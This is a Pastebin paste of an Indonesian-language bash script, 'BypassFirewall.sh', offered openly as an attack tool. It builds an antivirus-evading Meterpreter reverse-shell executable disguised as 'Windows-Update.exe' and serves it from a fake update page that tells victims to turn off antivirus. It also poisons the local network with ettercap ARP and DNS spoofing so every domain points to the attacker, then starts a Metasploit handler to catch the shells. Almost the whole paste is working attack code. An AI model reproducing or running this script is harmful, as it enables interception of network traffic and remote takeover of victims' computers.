SHARE
TWEET

BypassFirewall.sh

Topol Aug 28th, 2012 53 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. !/bin/bash
  2.  
  3. #Simple Bypass Firewall ( Easy metasploit + dns spoofing etc )
  4.  
  5. #Created By Dabllink
  6.  
  7. #save this file @ root
  8.  
  9. #Thanks to :
  10.  
  11. #p0zh1e,SoNz,BeraagaZZS, haryo aka autorun.inf, Syndrom2211, SutuL , Ihsan , all lost-c0de & CBF crew....
  12.  
  13. #special thanks to : Master Blusp10it & Red-Dragon..
  14.  
  15. clear
  16.  
  17. apt-get install figlet
  18.  
  19. clear
  20.  
  21. echo "#################################################"
  22.  
  23. figlet Dabllink
  24.  
  25. echo "#################################################"
  26.  
  27. echo
  28.  
  29. echo -en "masukan ip anda : "
  30.  
  31. read ip
  32.  
  33. echo
  34.  
  35. echo -en "masukan port anda: "
  36.  
  37. read port
  38.  
  39. echo
  40.  
  41. echo "Tunggu , sedang di proses....."
  42. msfpayload windows/meterpreter/reverse_tcp LHOST=$ip LPORT=$port R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t raw -c 10 | msfencode -e x86/countdown -t exe > /var/www/Windows-Update.exe
  43. clear
  44. panggilmsfcli() {
  45. msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=$port LHOST=$ip E
  46. }
  47.  
  48.  
  49. gnome() {
  50.  
  51. echo '#!/bin/bash
  52. cetaklagi() {
  53. echo " dns spoofing :)"
  54. echo
  55. echo -en " masukan interfaces anda : "
  56. read interfaces
  57. echo -en " apa anda sudah punya target ? (y/n) "
  58. read pilihan
  59. if [ $pilihan == "y" ]; then
  60. echo -en " masukan ip korban : "
  61. read ipkorban
  62. echo -en " masukan ip gateway : "
  63. read ipgateway
  64. ettercap -Tqi $interfaces -P dns_spoof -M arp:remote /$ipgateway/ /$ipkorban/
  65. elif [ $pilihan == "n" ]; then
  66. ettercap -Tqi $interfaces -P dns_spoof -M arp // //
  67. else
  68. cetaklagi
  69. fi
  70. exec bash
  71. }
  72. cetaklagi' > /root/spoof.sh
  73. clear
  74. echo "Sedang membuka terminal baru"
  75. sleep 2
  76. chmod +x spoof.sh
  77. gnome-terminal --command="./spoof.sh"
  78. echo "exploit............................................ "
  79. panggilmsfcli
  80. }
  81.  
  82. kde() {
  83. echo '#!/bin/bash
  84. cetaklagi() {
  85. echo " dns spoofing :)"
  86. echo
  87. echo -en " masukan interfaces anda : "
  88. read interfaces
  89. echo -en " apa anda sudah punya target ? (y/n) "
  90. read pilihan
  91. if [ $pilihan == "y" ]; then
  92. echo -en " masukan ip korban : "
  93. read ipkorban
  94. echo -en " masukan ip gateway : "
  95. read ipgateway
  96. ettercap -Tqi $interfaces -P dns_spoof -M arp:remote /$ipgateway/ /$ipkorban/
  97. elif [ $pilihan == "n" ]; then
  98. ettercap -Tqi $interfaces -P dns_spoof -M arp // //
  99. else
  100. cetaklagi
  101. fi
  102. exec bash
  103. }
  104. cetaklagi' > /root/spoof.sh
  105. clear
  106. echo "Sedang membuka terminal baru"
  107. sleep 2
  108. chmod +x spoof.sh
  109. konsole --noclose -e ./spoof.sh
  110. echo "exploit............................................ "
  111. panggilmsfcli
  112.  
  113. }
  114.  
  115. clear
  116. /etc/init.d/apache2 start
  117. clear
  118.  
  119. rm /var/www/index.html
  120. echo '<html>
  121. <head>
  122. <title>Warning!!!</title>
  123. </head>
  124. <body>
  125. <p align="center" class="style2"><u><b>Perhatian:</u></b>Update Windows anda jika ingin tetap melanjutkan browsing.<br>Pastikan tidak ada yang menghambat saat update berjalan, <br>seperti Antivirus</p>
  126. <p align="center">
  127. <input align="center" type="button" name="Button" value="Download Update" onClick="window.open' >> /var/www/index.html
  128. echo "('/Windows-Update.exe','download');" >> /var/www/index.html
  129. echo 'return false;"></p>
  130. </body>
  131. </html>' >> /var/www/index.html
  132. clear
  133. cetak() {
  134. echo "1. /usr/local/share/ettercap/etter.dns"
  135. echo
  136. echo "2. /usr/share/ettercap/etter.dns "
  137. echo
  138. echo -en "Masukan tempat etter.dns anda berada (1/2): "
  139. read pilihan
  140. if [ $pilihan == "1" ]; then
  141. echo "* A $ip" > /usr/local/share/ettercap/etter.dns  
  142. elif [ $pilihan == "2" ]; then
  143. echo "* A $ip" > /usr/share/ettercap/etter.dns
  144. else
  145. clear
  146. cetak
  147. fi
  148. }
  149. cetak
  150. clear
  151.  
  152.  
  153. echo -en "Anda menggunakan kde/gnome? "
  154. read pilihanzz
  155. $pilihanzz
RAW Paste Data
Top